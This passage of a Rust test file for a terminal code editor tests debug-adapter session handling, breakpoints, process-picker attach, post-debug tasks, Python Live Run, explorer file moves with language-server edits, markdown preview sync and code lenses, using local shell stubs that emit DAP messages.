    pick_debug_row(&mut app, "Tasked");
    assert!(app.pending_debug_launch.is_some());

    pick_debug_row(&mut app, "Debug active file");
    assert!(app.pending_debug_launch.is_none());
}

/// A stand-in adapter that emits one DAP `terminated` event and then idles,
/// or (with `ends: false`) never says anything. Real processes, so the test
/// drives the same transport and `poll` the app does.
fn stub_member(ends: bool) -> crate::dap::session::DapSession {
    let script = if ends {
        "printf 'Content-Length: %d\r\n\r\n%s' 45 '{\"seq\":1,\"type\":\"event\",\"event\":\"terminated\"}'; sleep 30"
    } else {
        "sleep 30"
    };
    crate::dap::session::DapSession::launch_with(
        "sh",
        &[String::from("-c"), String::from(script)],
        std::path::Path::new("."),
        serde_json::json!({"seq": 2, "type": "request", "command": "launch", "arguments": {}}),
        std::collections::BTreeMap::new(),
    )
    .expect("sh spawns")
}

/// A stand-in adapter that sends each JSON DAP message in `messages`, framed
/// with its byte length, and then idles.
fn stub_emitting(messages: &[&str]) -> crate::dap::session::DapSession {
    let mut script = String::new();
    for m in messages {
        script.push_str(&format!(
            "printf 'Content-Length: %d\\r\\n\\r\\n%s' {} '{}'; ",
            m.len(),
            m
        ));
    }
    script.push_str("sleep 30");
    crate::dap::session::DapSession::launch_with(
        "sh",
        &[String::from("-c"), script],
        std::path::Path::new("."),
        serde_json::json!({"seq": 2, "type": "request", "command": "launch", "arguments": {}}),
        std::collections::BTreeMap::new(),
    )
    .expect("sh spawns")
}

/// Poll until `done` holds or two seconds pass.
fn poll_until(app: &mut App, done: impl Fn(&App) -> bool) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(2);
    while !done(app) && std::time::Instant::now() < deadline {
        app.poll_dap();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

/// #567 item 1: a background member's program output used to be drained and
/// dropped. It reaches the debug console, tagged with the member's name.
#[test]
fn a_background_members_output_reaches_the_console_with_its_name() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push(
        "A",
        stub_emitting(&[
            r#"{"seq":1,"type":"event","event":"output","body":{"category":"stdout","output":"hello from A\n"}}"#,
        ]),
    );
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(1);
    poll_until(&mut app, |a| {
        a.debug_console.iter().any(|l| l.contains("hello from A"))
    });
    assert!(
        app.debug_console.iter().any(|l| l == "[A] hello from A"),
        "console: {:?}",
        app.debug_console
    );
    assert_eq!(
        app.debug_sessions.focused_name(),
        Some("B"),
        "output alone does not steal focus"
    );
    app.debug_stop();
}

/// #567 item 1: a background member hitting a breakpoint looked hung, its
/// `stopped` drained and dropped. With the focused member still running, the
/// view moves to the stopped one and says so.
#[test]
fn a_background_stop_moves_the_view_to_the_stopped_member() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push(
        "A",
        stub_emitting(&[
            r#"{"seq":1,"type":"event","event":"stopped","body":{"reason":"breakpoint","threadId":1}}"#,
        ]),
    );
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(1);
    poll_until(&mut app, |a| a.debug_sessions.focused_name() == Some("A"));
    assert_eq!(app.debug_sessions.focused_name(), Some("A"));
    assert!(app.status.contains("A stopped"), "status: {}", app.status);
    assert_eq!(
        app.run_debug.feedback.as_deref(),
        Some("Paused (breakpoint)"),
        "the stop replays through the normal handler once A is focused"
    );
    app.debug_stop();
}

const STOPPED_EVENT: &str =
    r#"{"seq":1,"type":"event","event":"stopped","body":{"reason":"breakpoint","threadId":1}}"#;

/// A compound can list one configuration twice, so two members can share a
/// name: the member that stopped is the one shown, not the first of that name.
#[test]
fn a_stop_shows_the_member_that_stopped_even_when_names_repeat() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(false));
    app.debug_sessions
        .push("A", stub_emitting(&[STOPPED_EVENT]));
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(2);
    poll_until(&mut app, |a| a.debug_sessions.focused_index() != 2);
    assert_eq!(
        app.debug_sessions.focused_index(),
        1,
        "the second A stopped"
    );
    app.debug_stop();
}

/// A member ending in the same poll shifts the stopped member's position; the
/// view still lands on the member that stopped.
#[test]
fn a_stop_lands_on_the_right_member_when_an_earlier_one_ends_alongside() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push(
        "Gone",
        stub_emitting(&[r#"{"seq":1,"type":"event","event":"terminated"}"#]),
    );
    app.debug_sessions
        .push("Stops", stub_emitting(&[STOPPED_EVENT]));
    app.debug_sessions.push("Watched", stub_member(false));
    app.debug_sessions.focus(2);
    poll_until(&mut app, |a| {
        a.debug_sessions.len() == 2 && a.debug_sessions.focused_name() == Some("Stops")
    });
    assert_eq!(app.debug_sessions.names(), vec!["Stops", "Watched"]);
    assert_eq!(app.debug_sessions.focused_name(), Some("Stops"));
    app.debug_stop();
}

/// The stopped member's position once members that ended in the same poll
/// are removed: shifted past removals below it, untouched by those above,
/// and gone if it ended itself.
#[test]
fn index_after_removals_shifts_past_lower_removals_only() {
    assert_eq!(index_after_removals(2, &[]), Some(2));
    assert_eq!(index_after_removals(2, &[0]), Some(1));
    assert_eq!(index_after_removals(3, &[0, 1]), Some(1));
    assert_eq!(
        index_after_removals(1, &[2, 3]),
        Some(1),
        "removals above do not move it"
    );
    assert_eq!(index_after_removals(2, &[0, 2]), None, "it ended itself");
}

/// The switch command cycles the members, and says so when there is only one.
#[test]
fn switch_debug_session_cycles_the_members() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(false));
    app.switch_debug_session();
    assert_eq!(app.status, "Only one debug session is running");
    app.debug_sessions.push("B", stub_member(false));
    assert_eq!(app.debug_sessions.focused_name(), Some("B"));
    app.switch_debug_session();
    assert_eq!(app.debug_sessions.focused_name(), Some("A"));
    assert!(
        app.status.starts_with("Debugging A"),
        "status: {}",
        app.status
    );
    app.switch_debug_session();
    assert_eq!(app.debug_sessions.focused_name(), Some("B"));
    assert!(is_switch_debug_session_key(key(
        KeyCode::Char('g'),
        KeyModifiers::SUPER | KeyModifiers::ALT | KeyModifiers::SHIFT,
    )));
    assert!(!is_switch_debug_session_key(key(
        KeyCode::Char('g'),
        KeyModifiers::SUPER | KeyModifiers::ALT,
    )));
    app.debug_stop();
}

/// What a member reported in the background replays when it is switched to:
/// a queued `stopped` drives the same handler it would have when focused.
#[test]
fn a_switched_to_member_replays_its_queued_stop() {
    use crate::dap::session::DapEvent;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(false));
    app.debug_sessions.push("B", stub_member(false));
    let (_, a) = app
        .debug_sessions
        .iter_named_mut_indexed()
        .find(|(i, _)| *i == 0)
        .unwrap();
    a.backlog.push(DapEvent::Stopped {
        thread_id: 1,
        reason: String::from("exception"),
    });
    app.poll_dap();
    assert_ne!(
        app.run_debug.feedback.as_deref(),
        Some("Paused (exception)"),
        "not replayed while A is in the background"
    );
    app.switch_debug_session();
    app.poll_dap();
    assert_eq!(
        app.run_debug.feedback.as_deref(),
        Some("Paused (exception)")
    );
    app.debug_stop();
}

/// A workspace with two source files and breakpoints set in both (#250).
fn app_with_breakpoints() -> (tempfile::TempDir, App, PathBuf, PathBuf) {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn a() {}\nfn b() {}\nfn c() {}\n").unwrap();
    std::fs::write(&b, "x\ny\nz\nw\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .breakpoints
        .entry(b.clone())
        .or_default()
        .insert(4);
    app.editor
        .breakpoints
        .entry(a.clone())
        .or_default()
        .extend([3, 1]);
    app.editor
        .breakpoint_conditions
        .entry(a.clone())
        .or_default()
        .insert(3, String::from("n > 2"));
    app.editor
        .breakpoint_logs
        .entry(b.clone())
        .or_default()
        .insert(4, String::from("at {i}"));
    (tmp, app, a, b)
}

#[test]
fn breakpoint_items_list_every_breakpoint_by_file_then_line() {
    let (_tmp, app, _a, _b) = app_with_breakpoints();
    let items = app.breakpoint_items();
    let shown: Vec<(String, Option<String>)> = items
        .iter()
        .map(|i| (i.label.clone(), i.detail.clone()))
        .collect();
    assert_eq!(
        shown,
        vec![
            (String::from("a.rs:1"), None),
            (String::from("a.rs:3"), Some(String::from("if n > 2"))),
            (String::from("b.rs:4"), Some(String::from("log at {i}"))),
        ]
    );
}

/// The ✕ removes the breakpoint and the condition that went with it, so a
/// breakpoint set again later on that line starts plain.
#[test]
fn removing_from_the_list_drops_the_breakpoint_and_its_condition() {
    let (_tmp, mut app, a, _b) = app_with_breakpoints();
    app.sync_breakpoint_list();
    let idx = app
        .run_debug
        .breakpoints
        .iter()
        .position(|i| i.label == "a.rs:3")
        .unwrap();
    app.breakpoint_list_click(idx, true);
    assert!(!app.editor.breakpoints[&a].contains(&3));
    assert!(
        app.editor.breakpoints[&a].contains(&1),
        "only that one goes"
    );
    assert!(!app.editor.breakpoint_conditions[&a].contains_key(&3));
    assert_eq!(app.run_debug.breakpoints.len(), 2, "the list follows");
}

#[test]
fn clicking_a_breakpoint_opens_its_file_at_the_line() {
    // Line 1 of a three-line file: a jump one row off lands on a different
    // line, where the file's LAST line would be clamped back and hide it.
    let (_tmp, mut app, a, _b) = app_with_breakpoints();
    app.sync_breakpoint_list();
    let idx = app
        .run_debug
        .breakpoints
        .iter()
        .position(|i| i.label == "a.rs:1")
        .unwrap();
    app.breakpoint_list_click(idx, false);
    assert_eq!(app.editor.path.as_deref(), Some(a.as_path()));
    assert_eq!(app.editor.cursor_row, 0, "line 1, 0-based");
}

/// While a session is shown the tree carries the list as its last section;
/// a change swaps that section rather than stacking a second one.
#[test]
fn the_tree_breakpoint_section_follows_changes_without_duplicating() {
    use crate::widgets::run_debug::{DebugRow, DebugRowKind};
    let (_tmp, mut app, a, _b) = app_with_breakpoints();
    app.run_debug.debug_active = true;
    app.run_debug.debug_rows = vec![DebugRow {
        indent: 0,
        kind: DebugRowKind::Header {
            title: String::from("CALL STACK"),
        },
    }];
    app.sync_breakpoint_list();
    let count = |app: &App| {
        (
            app.run_debug
                .debug_rows
                .iter()
                .filter(
                    |r| matches!(&r.kind, DebugRowKind::Header { title } if title == "BREAKPOINTS"),
                )
                .count(),
            app.run_debug
                .debug_rows
                .iter()
                .filter(|r| matches!(r.kind, DebugRowKind::Breakpoint { .. }))
                .count(),
        )
    };
    assert_eq!(count(&app), (1, 3));
    app.editor.breakpoints.get_mut(&a).unwrap().insert(2);
    app.sync_breakpoint_list();
    assert_eq!(count(&app), (1, 4), "one header, one more row");
    assert!(matches!(
        &app.run_debug.debug_rows[0].kind,
        DebugRowKind::Header { title } if title == "CALL STACK"
    ));
}

fn resolved_attach(json: &str) -> crate::dap::configs::ResolvedConfig {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(tmp.path().join(".vscode/launch.json"), json).unwrap();
    let cfg = crate::dap::configs::discover_configs(tmp.path())
        .into_iter()
        .next()
        .expect("one config");
    let ctx = crate::dap::configs::SubstCtx {
        workspace_folder: tmp.path().to_path_buf(),
        file: None,
    };
    crate::dap::configs::resolve(&cfg, &ctx).expect("resolves")
}

/// #250: an lldb attach whose `processId` is `${command:pickProcess}` opens
/// a process picker instead of failing, and the chosen pid resumes it.
#[test]
fn a_pick_process_attach_opens_the_process_picker() {
    use crate::widgets::list_picker::ListPurpose;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let rc = resolved_attach(
        r#"{ "configurations": [ { "name": "Attach", "type": "lldb", "request": "attach",
             "processId": "${command:pickProcess}" } ] }"#,
    );
    app.launch_resolved_config(rc);
    let picker = app.list_picker.as_ref().expect("the picker opens");
    assert!(matches!(picker.purpose, ListPurpose::AttachProcess));
    assert!(
        !picker.rows.is_empty(),
        "this test process's siblings are listed"
    );
    assert!(
        picker.rows.iter().all(|r| r.id.parse::<i64>().is_ok()),
        "every row id is a pid"
    );
    assert!(
        !picker
            .rows
            .iter()
            .any(|r| r.id == std::process::id().to_string()),
        "croft does not offer itself"
    );
    assert!(
        app.debug_sessions.is_empty(),
        "nothing launched before the pick"
    );

    let (rc, _) = app.take_pending_attach(4242).expect("the attach is parked");
    assert_eq!(rc.process_id, Some(4242));
    assert!(
        app.take_pending_attach(4242).is_none(),
        "taken once, not twice"
    );
}

/// `pickProcess` on an adapter that does not attach by pid is refused with
/// a message, not launched with the key silently dropped.
#[test]
fn pick_process_on_a_non_lldb_config_is_refused() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let rc = resolved_attach(
        r#"{ "configurations": [ { "name": "Py", "type": "python", "request": "attach",
             "processId": "${command:pickProcess}" } ] }"#,
    );
    app.launch_resolved_config(rc);
    assert!(app.list_picker.is_none());
    assert!(
        app.status.contains("pickProcess")
            || app
                .run_debug
                .feedback
                .as_deref()
                .unwrap_or("")
                .contains("pickProcess"),
        "status: {} / feedback: {:?}",
        app.status,
        app.run_debug.feedback
    );
}

/// Poll until the set shrinks below `from` members or two seconds pass.
fn poll_until_shrinks(app: &mut App, from: usize) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(2);
    while app.debug_sessions.len() >= from && std::time::Instant::now() < deadline {
        app.poll_dap();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

/// A workspace whose tasks.json declares a `cleanup` task (#250).
fn app_with_cleanup_task() -> (tempfile::TempDir, App) {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/tasks.json"),
        r#"{ "version": "2.0.0", "tasks": [
            { "label": "cleanup", "type": "shell", "command": "true" }
        ]}"#,
    )
    .unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    (tmp, app)
}

fn last_task_label(app: &App) -> Option<String> {
    app.last_task.as_ref().map(|t| t.label.clone())
}

/// #250: a config's `postDebugTask` runs when the user stops the session.
#[test]
fn stopping_a_session_runs_its_post_debug_task_once() {
    let (_tmp, mut app) = app_with_cleanup_task();
    app.debug_sessions.push("A", stub_member(false));
    app.debug_post_tasks = vec![String::from("cleanup")];
    app.debug_stop_by_user();
    assert_eq!(last_task_label(&app).as_deref(), Some("cleanup"));
    assert!(app.debug_post_tasks.is_empty(), "it runs once, not again");
}

/// With nothing running there is no session to clean up after: a launch
/// that failed before a session started must not trigger the task.
#[test]
fn stopping_with_no_session_runs_no_post_debug_task() {
    let (_tmp, mut app) = app_with_cleanup_task();
    app.debug_post_tasks = vec![String::from("cleanup")];
    app.debug_stop_by_user();
    assert_eq!(last_task_label(&app), None);
}

/// #250: a session that ends by itself runs the task too.
#[test]
fn a_session_ending_on_its_own_runs_its_post_debug_task() {
    let (_tmp, mut app) = app_with_cleanup_task();
    app.debug_sessions.push("A", stub_member(true));
    app.debug_post_tasks = vec![String::from("cleanup")];
    poll_until_shrinks(&mut app, 1);
    assert!(app.debug_sessions.is_empty(), "the stub terminated");
    assert_eq!(last_task_label(&app).as_deref(), Some("cleanup"));
}

/// Replacing the set for a new launch is not the end of a debug run, so
/// the internal stop leaves the task alone (VS Code runs it on stop and on
/// termination, not on relaunch).
#[test]
fn the_internal_stop_before_a_relaunch_runs_no_post_debug_task() {
    let (_tmp, mut app) = app_with_cleanup_task();
    app.debug_sessions.push("A", stub_member(false));
    app.debug_post_tasks = vec![String::from("cleanup")];
    app.debug_stop();
    assert_eq!(last_task_label(&app), None);
}

#[test]
fn stop_all_true_stops_the_set_when_a_background_member_ends() {
    // #567 item 4: `stopAll: true` was refused; it is honoured now.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(true));
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(1);
    app.debug_stop_all = true;

    poll_until_shrinks(&mut app, 2);
    assert!(
        app.debug_sessions.is_empty(),
        "A ending takes B with it: {:?}",
        app.debug_sessions.names()
    );
    assert!(
        app.status.contains("stopAll"),
        "and says why: {}",
        app.status
    );
}

#[test]
fn stop_all_false_leaves_the_siblings_running() {
    // The control: without stopAll only the member that ended goes.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(true));
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(1);

    poll_until_shrinks(&mut app, 2);
    assert_eq!(app.debug_sessions.names(), vec!["B"]);
    app.debug_stop();
}

/// A compound that is REFUSED (here, it names a configuration no
/// launch.json declares) leaves the running set alone, so it must not leave
/// its `stopAll` behind either: that set never asked for it.
#[test]
fn a_refused_compound_does_not_hand_its_stop_all_to_the_running_set() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{"version":"0.2.0","configurations":[],
            "compounds":[{"name":"Bad","configurations":["Missing"],"stopAll":true}]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(true));
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(1);
    let compound = crate::dap::configs::discover_compounds(tmp.path())
        .into_iter()
        .find(|c| c.name == "Bad")
        .expect("the compound parses");
    assert!(compound.stop_all);
    app.launch_compound(&compound);
    assert_eq!(
        app.debug_sessions.len(),
        2,
        "the refusal leaves the set running"
    );

    poll_until_shrinks(&mut app, 2);
    assert_eq!(
        app.debug_sessions.names(),
        vec!["B"],
        "A ending must not take B: the running set never asked for stopAll"
    );
    app.debug_stop();
}

#[test]
fn a_background_member_ending_rebuilds_the_report_from_the_live_set() {
    // #567 items 2 and 3: the status and panel line kept naming the ended
    // session. Both now say what ended, what is shown, and what still runs.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(true));
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(1);
    app.debug_compound = Some(String::from("Stack"));
    app.run_debug.feedback = Some(String::from("Debugging compound Stack: A, B"));

    poll_until_shrinks(&mut app, 2);
    assert_eq!(app.debug_sessions.names(), vec!["B"]);
    assert_eq!(
        app.run_debug.feedback.as_deref(),
        Some("Debugging compound Stack: B (A ended)")
    );
    assert!(
        app.status.starts_with("A ended — showing B; running: B"),
        "{}",
        app.status
    );
    app.debug_stop();
    assert_eq!(app.debug_compound, None, "a full stop forgets the compound");
}

#[test]
fn the_focused_member_ending_names_the_session_now_shown() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions.push("A", stub_member(true));
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.focus(0);
    app.debug_compound = Some(String::from("Stack"));

    poll_until_shrinks(&mut app, 2);
    assert_eq!(app.debug_sessions.names(), vec!["B"]);
    assert!(
        app.status.starts_with("A ended — showing B; running: B"),
        "{}",
        app.status
    );
    app.debug_stop();
}

// ---- Live Run (Cmd+K V) ----

#[test]
fn live_run_refuses_a_file_that_is_not_python() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "notes.txt", "hello\n");
    app.run_command(crate::widgets::command_palette::Command::ToggleLiveRun);
    assert!(app.live_run_files.is_empty(), "nothing is armed");
    assert!(app.status.contains("Python"), "{}", app.status);
}

#[test]
fn live_run_arms_only_the_active_file_and_disarming_clears_its_trailers() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.py", "x = 1\n");
    let path = app.editor.path.clone().unwrap();
    app.run_command(crate::widgets::command_palette::Command::ToggleLiveRun);
    assert_eq!(
        app.live_run_files.iter().collect::<Vec<_>>(),
        vec![&path],
        "exactly the active file is armed"
    );
    app.editor.live_run = Some(crate::live_run::View::default());
    app.run_command(crate::widgets::command_palette::Command::ToggleLiveRun);
    assert!(app.live_run_files.is_empty());
    assert!(
        app.editor.live_run.is_none(),
        "a disarmed file keeps no trailers"
    );
}

/// The whole loop against a real interpreter, when the machine has one:
/// arm, tick until the run lands, and find its values on the tab.
#[test]
fn live_run_lands_a_real_run_on_the_tab() {
    let has_python = std::process::Command::new("python3")
        .arg("--version")
        .output()
        .is_ok_and(|o| o.status.success());
    if !has_python {
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.py", "n = len('abc')\nprint(n * 2)\n");
    app.run_command(crate::widgets::command_palette::Command::ToggleLiveRun);
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
    while app.editor.live_run.is_none() && std::time::Instant::now() < deadline {
        app.tick_live_run();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    let view = app.editor.live_run.as_ref().expect("the run landed");
    assert_eq!(
        view.note(0, "n = len('abc')").map(|n| n[0].0.as_str()),
        Some("n = 3")
    );
    assert_eq!(
        view.note(1, "print(n * 2)").map(|n| n[0].0.as_str()),
        Some("\u{25b8} 6")
    );
    assert!(app.status.starts_with("Live Run: ok"), "{}", app.status);
}

// ---- Explorer moves ask the servers first (#610) ----

#[test]
fn a_file_move_applies_the_servers_edits_before_renaming() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::write(root.join("util.py"), "def f(): pass\n").unwrap();
    std::fs::write(root.join("main.py"), "import util\n").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    let pending = PendingFileMove {
        request_id: 7,
        op: FileMove::Rename {
            parent: root.clone(),
            old: root.join("util.py"),
            new_name: String::from("helpers.py"),
        },
        renames: vec![crate::lsp::manager::FileRenameOp {
            old: root.join("util.py"),
            new: root.join("helpers.py"),
            is_dir: false,
        }],
        deadline: std::time::Instant::now(),
    };
    let edits = vec![(
        root.join("main.py"),
        vec![crate::widgets::editor::TextSpanEdit {
            start: (0, 7),
            end: (0, 11),
            new_text: String::from("helpers"),
            utf16: false,
        }],
    )];
    app.finish_file_move(pending, edits);
    assert!(root.join("helpers.py").exists(), "the file moved");
    assert!(!root.join("util.py").exists());
    assert_eq!(
        std::fs::read_to_string(root.join("main.py")).unwrap(),
        "import helpers\n",
        "the import followed it"
    );
    assert!(
        app.status.contains("references updated in 1 file"),
        "{}",
        app.status
    );
}

#[test]
fn moving_files_and_folders_carries_every_open_tab_along() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::create_dir_all(root.join("dir")).unwrap();
    std::fs::create_dir_all(root.join("dest")).unwrap();
    std::fs::write(root.join("a.txt"), "a").unwrap();
    std::fs::write(root.join("dir/b.txt"), "b").unwrap();
    std::fs::write(root.join("c.txt"), "c").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open_pinned(&root.join("a.txt")).unwrap();
    app.editor.open_in_new_tab(&root.join("dir/b.txt")).unwrap();
    app.editor.open_in_new_tab(&root.join("c.txt")).unwrap();
    // c.txt is active; a.txt and dir/b.txt sit in background tabs.
    assert!(app.apply_paste_or_drop(
        &root.join("dest"),
        &[root.join("a.txt"), root.join("dir")],
        ExplorerClipMode::Cut
    ));
    let paths: Vec<_> = app
        .editor
        .editors
        .iter()
        .filter_map(|e| e.path.clone())
        .collect();
    assert!(paths.contains(&root.join("dest/a.txt")), "{paths:?}");
    assert!(paths.contains(&root.join("dest/dir/b.txt")), "{paths:?}");
}

/// A move re-points the file's tab in the OTHER split too, not only in the
/// focused group.
#[test]
fn moving_a_file_repoints_its_tab_in_every_split() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::create_dir_all(root.join("dest")).unwrap();
    std::fs::write(root.join("a.txt"), "a").unwrap();
    std::fs::write(root.join("c.txt"), "c").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.editor.open_pinned(&root.join("a.txt")).unwrap();
    app.focus_pane(Pane::Editor);
    app.split_editor();
    // The focused (right) group moves on to another file; a.txt stays open
    // in the left one.
    app.editor.open_pinned(&root.join("c.txt")).unwrap();
    app.editor.close_tab(0);
    assert!(app.apply_paste_or_drop(
        &root.join("dest"),
        &[root.join("a.txt")],
        ExplorerClipMode::Cut
    ));
    let groups = app.editor_layout.inactive_groups_mut();
    let paths: Vec<_> = groups[0]
        .editors
        .iter()
        .filter_map(|e| e.path.clone())
        .collect();
    assert!(paths.contains(&root.join("dest/a.txt")), "{paths:?}");
}

#[test]
fn a_failed_move_leaves_the_importers_alone_and_edits_follow_a_moved_file() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::create_dir_all(root.join("pkg/sub")).unwrap();
    std::fs::write(root.join("main.rs"), "use pkg;\n").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    let edit = |path: PathBuf| {
        vec![(
            path,
            vec![crate::widgets::editor::TextSpanEdit {
                start: (0, 4),
                end: (0, 7),
                new_text: String::from("pkg::sub::pkg"),
                utf16: false,
            }],
        )]
    };
    // A folder into its own child: refused, and main.rs must not change.
    let pending = PendingFileMove {
        request_id: 1,
        op: FileMove::Paste {
            dest_dir: root.join("pkg/sub"),
            paths: vec![root.join("pkg")],
        },
        renames: vec![crate::lsp::manager::FileRenameOp {
            old: root.join("pkg"),
            new: root.join("pkg/sub/pkg"),
            is_dir: true,
        }],
        deadline: std::time::Instant::now(),
    };
    app.finish_file_move(pending, edit(root.join("main.rs")));
    assert_eq!(
        std::fs::read_to_string(root.join("main.rs")).unwrap(),
        "use pkg;\n"
    );
    assert!(root.join("pkg/sub").is_dir());

    // An edit to a file inside the moved folder lands at its new place.
    std::fs::write(root.join("pkg/lib.rs"), "use pkg;\n").unwrap();
    std::fs::create_dir_all(root.join("dest")).unwrap();
    let pending = PendingFileMove {
        request_id: 2,
        op: FileMove::Paste {
            dest_dir: root.join("dest"),
            paths: vec![root.join("pkg")],
        },
        renames: vec![crate::lsp::manager::FileRenameOp {
            old: root.join("pkg"),
            new: root.join("dest/pkg"),
            is_dir: true,
        }],
        deadline: std::time::Instant::now(),
    };
    app.finish_file_move(pending, edit(root.join("pkg/lib.rs")));
    assert_eq!(
        std::fs::read_to_string(root.join("dest/pkg/lib.rs")).unwrap(),
        "use pkg::sub::pkg;\n"
    );
}

#[test]
fn a_pending_move_goes_ahead_at_its_deadline_without_an_answer() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::write(root.join("a.txt"), "x").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    app.pending_file_move = Some(PendingFileMove {
        request_id: u64::MAX,
        op: FileMove::Rename {
            parent: root.clone(),
            old: root.join("a.txt"),
            new_name: String::from("b.txt"),
        },
        renames: Vec::new(),
        deadline: std::time::Instant::now() - std::time::Duration::from_millis(1),
    });
    assert!(app.tick_file_moves());
    assert!(app.pending_file_move.is_none());
    assert!(
        root.join("b.txt").exists(),
        "a silent server cannot block the move"
    );
}

#[test]
fn rename_target_validates_without_touching_the_disk() {
    let tmp = tempfile::tempdir().unwrap();
    let old = tmp.path().join("a.txt");
    std::fs::write(&old, "x").unwrap();
    std::fs::write(tmp.path().join("taken.txt"), "y").unwrap();
    let target = crate::widgets::file_tree::rename_target(tmp.path(), &old, "b.txt").unwrap();
    assert_eq!(target, tmp.path().join("b.txt"));
    assert!(old.exists(), "nothing moved yet");
    assert!(crate::widgets::file_tree::rename_target(tmp.path(), &old, "taken.txt").is_err());
}

// ---- Markdown preview scroll sync across a split (#619) ----

#[test]
fn a_split_preview_follows_the_source_pane_scroll() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("doc.md");
    let mut body = String::from("# Top\n\n");
    for i in 0..30 {
        body.push_str(&format!("para {i}\n\n"));
    }
    std::fs::write(&f, &body).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.focus_pane(Pane::Editor);
    assert!(
        app.editor.toggle_markdown_preview(),
        "left pane shows the preview"
    );
    app.split_editor();
    assert!(
        app.editor.markdown_preview.is_none(),
        "the new pane shows the source"
    );
    app.editor.scroll = 20;
    assert!(
        app.sync_markdown_scroll(),
        "the preview pane is told to follow"
    );
    let preview_pane = app
        .editor_layout
        .inactive_groups()
        .into_iter()
        .find_map(|g| g.editors.get(g.active_index()))
        .and_then(|t| t.markdown_preview.as_ref())
        .expect("the other pane still shows the preview");
    assert_eq!(preview_pane.scroll_to_source, Some(20));
    assert!(
        !app.sync_markdown_scroll(),
        "a still viewport costs nothing"
    );
}

// ---- Code lenses (#608) ----

fn lens_at(line: usize, text: &str, title: &str, command: &str) -> crate::code_lens::EditorLens {
    crate::code_lens::EditorLens {
        line,
        line_text: text.to_string(),
        title: title.to_string(),
        command: Some(command.to_string()),
        arguments: Vec::new(),
        server_side: false,
    }
}

#[test]
fn clicking_a_painted_code_lens_runs_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = app_with_open_file(tmp.path(), "a.rs", "fn main() {}\n");
    app.editor.code_lenses = vec![lens_at(
        0,
        "fn main() {}",
        "Frobnicate",
        "vendor.frobnicate",
    )];
    let area = ratatui::layout::Rect::new(0, 0, 80, 10);
